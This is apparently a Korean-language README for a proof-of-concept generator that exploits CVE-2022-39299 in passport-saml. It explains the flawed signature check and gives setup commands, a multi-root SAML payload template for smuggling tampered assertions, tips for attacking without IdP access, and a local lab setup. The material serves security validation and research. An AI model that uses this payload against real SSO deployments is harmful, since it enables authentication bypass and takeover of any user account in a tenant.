
취약한 버전의 passport-saml을 사용하는 SAML SSO 통합에서 인증을 우회하는 간단한 CVE-2022-39299 PoC 익스플로잇 생성기
보안 권고 : https://github.com/node-saml/passport-saml/security/advisories/GHSA-m974-647v-whv7
패치 : https://github.com/node-saml/passport-saml/commit/8b7e3f5a91c8e5ac7e890a0c90bc7491ce33155e
node-saml 테스트 케이스에서 추출한 기본 페이로드 예제: https://github.com/node-saml/node-saml/blob/c1f275c289c01921e58f5c70ce0fdbc5287e5fbe/test/static/signatures/invalid/response.root-signed.multiple-root-elements.xml.
버그 작성자: felixwilhelm
익스플로잇 생성기 작성자(쉬운 부분): Francesco Lacerenza
원격 공격자는 passport-saml 라이브러리에 영향을 미치는 CVE-2022-39299를 악용하여 플랫폼의 SAML SSO 인증을 우회할 수 있습니다.
공개 익스플로잇은 (작성 시점 기준) 존재하지 않았으며, 보안 권고는 2022년 10월 12일에 정보가 거의/전혀 없이 게시되었습니다. Doyensec는 테넌트 관리자가 사용자 지정 IdP로 SAML SSO를 구성할 수 있는 멀티 테넌트 플랫폼을 대상으로 이 문제를 검증하기 위해 작동하는 PoC(Proof Of Concept) 생성기를 개발했습니다.
권고에 명시된 바와 같이:
성공적인 공격을 위해서는 공격자가 임의의 IDP 서명 XML 요소를 보유하고 있어야 합니다. 사용된 IDP에 따라, 서명된 메시지의 생성을 트리거할 수 있다면 완전히 인증되지 않은 공격(즉, 유효한 사용자에 대한 접근 없이)도 가능할 수 있습니다.
취약한 검사는 passport-saml-2.0.0/src/passport-saml/saml.ts:775의 validatePostResponse 함수 내에 있습니다.
// Check if this document has a valid top-level signature
let validSignature = false;
if (this.options.cert && this.validateSignature(xml, doc.documentElement, certs!)) {
validSignature = true;
}
특히, validateSignature는 전체 XML 문서의 doc.documentElement에 유효한 서명이 포함되어 있는지 확인합니다. documentElement 속성은 문서의 첫 번째 루트 노드를 반환하므로, 첫 번째 루트 요소에 대해서만 서명을 검증합니다.
이 함수는 XML 내에 어서션(assertion)이 하나만 있는지 계속 확인합니다:
const assertions = xmlCrypto.xpath(doc, "/*[local-name()='Response']/*[local-name()='Assertion']") as HTMLElement[];
const encryptedAssertions = xmlCrypto.xpath(doc,
"/*[local-name()='Response']/*[local-name()='EncryptedAssertion']");
if (assertions.length + encryptedAssertions.length > 1) {
// There's no reason I know of that we want to handle multiple assertions, and it seems like a
// potential risk vector for signature scope issues, so treat this as an invalid signature
throw new Error('Invalid signature: multiple assertions');
}
그 결과, XML 파서는 여러 루트를 가진 XML 문서를 파싱합니다. 서명은 하나의 루트 노드에만 적용될 수 있지만, XPath는 여러 루트 노드를 탐색하여 인증 및 권한 부여 요소를 찾을 수 있습니다.
결론적으로, 하나의 루트 노드는 서명될 수 있고(예: 일반 SAML 오류 메시지), 다른 서명되지 않은 노드는 수정 가능한 인증 및 권한 부여 정보를 포함할 수 있습니다. 이렇게 하여 공격자는 인증 정보를 변조하고 테넌트 내의 모든 계정에 접근할 수 있습니다.
참고: 익스플로잇 성공 여부는 passport 라이브러리 사용과 관련된 내부 인증 로직에 전적으로 달려 있습니다. 인증 로직이 passport.authenticate(...PASSPORT-SAML_OPTIONS...)의 결과로 생성된 인증된 세션 객체를 완전히 신뢰한다면 취약할 가능성이 높습니다.
openssl을 사용하여 새 인증서와 키를 생성합니다:openssl req -x509 -new -newkey rsa:2048 -nodes -subj '/C=US/ST=California/L=San Francisco/O=JankyCo/CN=Test Identity Provider' -keyout key.pem -out cert.pem -days 7300
또는 이 저장소에 포함된 것을 사용하십시오.
대상 플랫폼에서 관리자로 SAML SSO 통합 패널로 이동합니다. 그런 다음 IdP의 서명을 검증하는 데 사용되는 인증서를 이 폴더에 있는 인증서로 설정합니다.
플랫폼이 SAML SSO 사용자를 인증하는 데 필요한 authn 및 authz 요소로 payload_appendix.xml을 구성합니다. 문서에서 이러한 정보를 찾거나 작동하는 SSO 통합을 구축하여 유효한 인증 요소를 파악할 수 있습니다.
다음 명령을 실행하여 변조된 데이터가 포함된 서명된 다중 루트 요소 SAML 응답을 생성합니다.
python3 payloadGenerator.py
다중 루트 요소 SAML 응답의 구조는 다음과 같습니다:
<!— BEGINNING OF THE SIGNED ERROR MESSAGE —>
<samlp:Response xmlns="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="IDVALUE" Version="2.0" IssueInstant="2022-28-08T14:38:05Z">
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Responder">
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:NoPassive">
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:PartialLogout">
</samlp:StatusCode>
</samlp:StatusCode>
</samlp:StatusCode>
<samlp:StatusMessage>Random Error</samlp:StatusMessage>
</samlp:Status>
</samlp:Response>
<!— END OF THE SIGNED ERROR MESSAGE. BEGINNING OF THE UNSIGNED AUTHENTICATION INFO—>
<Response>
<saml:Assertion ID="whatever" IssueInstant="2022-10-30T18:00:00+00:00" Version="2.0">
<!— TAMPERED AUTHN & AUTHZ INFO —>
</saml:Assertion>
</Response>
참고: IdP 구성에 접근할 수 없는 상태에서 이 문제를 악용하려면 payloadGenerator.py에서 최종 페이로드를 구성하는 데 사용되는 변수 signed_base_payload_unicode를 대체하면 됩니다. 작동하려면 어서션이 포함되지 않은 서명된 SAML 응답으로 대체해야 합니다. 대상 IdP에서 이를 얻을 방법을 찾을 수 있기를 바랍니다(사례별 로직이 적용되며 이에 대한 문헌은 존재하지 않습니다).
SAML SSO 통합이 활성화된 조직에서는 공격자가 인증을 우회하고 테넌트의 모든 사용자로 로그인할 수 있습니다.
권고에서는 공격자가 "임의의 IDP 서명 XML 요소"를 사용할 수 있다고 명시하고 있지만, passport-saml 라이브러리는 여러 어서션을 포함하는 XML 메시지를 차단합니다(설명 섹션의 코드 스니펫 참조). 이 제한으로 인해 공격자는 오류 메시지와 같이 어서션을 포함하지 않는 서명된 SAML 메시지를 획득해야 합니다. 이러한 메시지의 존재 여부는 IdP 구현에 따라 달라집니다.
예를 들어, 어서션 없는 SAML 응답은 Auth0의 node-samlp 라이브러리에서 직접 지원됩니다.
https://github.com/auth0/node-samlp/blob/master/lib/samlp.js 참조
function buildSamlResponse(options) {
var SAMLResponse = templates.samlresponse({
id: '_' + utils.generateUniqueID(),
instant: utils.generateInstant(),
destination: options.destination || options.audience,
inResponseTo: options.inResponseTo,
issuer: options.issuer,
samlStatusCode: options.samlStatusCode,
samlStatusMessage: options.samlStatusMessage,
assertion: options.samlAssertion || ''
});
위의 예는 Auth0 기술을 사용하더라도 어서션 없이 서명된 메시지로 이어지는 코드 경로를 도입할 가능성을 보여줍니다. 이러한 의미에서 고객의 IdP에도 그러한 패턴이 포함될 수 있습니다.
공격자가 그러한 메시지를 트리거할 방법을 찾는다면 완전히 인증되지 않은 공격(즉, 유효한 사용자에 대한 접근 없이)도 가능할 수 있습니다.
결론적으로, 테넌트별 사용자 지정 SAML SSO 통합을 허용하는 멀티 테넌트 플랫폼이 CVE-2022-39299에 취약한 경우, 고객의 IdP가 어서션 없이 서명된 SAML 오류 메시지를 지원할 때마다 인증 우회가 잠재적으로 허용될 수 있습니다.
다음 리소스를 사용하여 로컬에서 테스트를 수행했습니다:
PoC 생성기 폴더에서 IdP 서명 인증서 생성
openssl req -x509 -new -newkey rsa:2048 -nodes -subj '/C=US/ST=California/L=San Francisco/O=JankyCo/CN=Test Identity Provider' -keyout idp-private-key.pem -out idp-public-cert.pem -days 7300
생성된 인증서와 키가 있는 폴더에서 다음 명령으로 IdP를 실행합니다.
saml-idp --acsUrl http://127.0.0.1:3000/login/callback --audience https://127.0.0.1:3000/ --host 127.0.0.1
이 앱은 로컬 IdP와 함께 작동하려면 추가 구성이 필요합니다. passport-saml-example/config/config.js 파일에 IdP의 정보를 입력하기만 하면 됩니다.
passport: {
strategy: 'saml',
saml: {
path: '/login/callback',
entryPoint: 'http://localhost:7000/saml/sso',
issuer: 'passport-saml',
cert: 'CERT_PASTED_HERE_IN_ONE_LINE_FROM_PREVIOUS_STEP'
}
}
또한 취약한 버전의 passport를 사용하려면 package.json을 편집해야 합니다. 가능하면 대상 코드베이스에서 필요한 모든 버전을 추출하세요.
준비가 되면 애플리케이션을 시작하기만 하면 됩니다:
npm install
npm start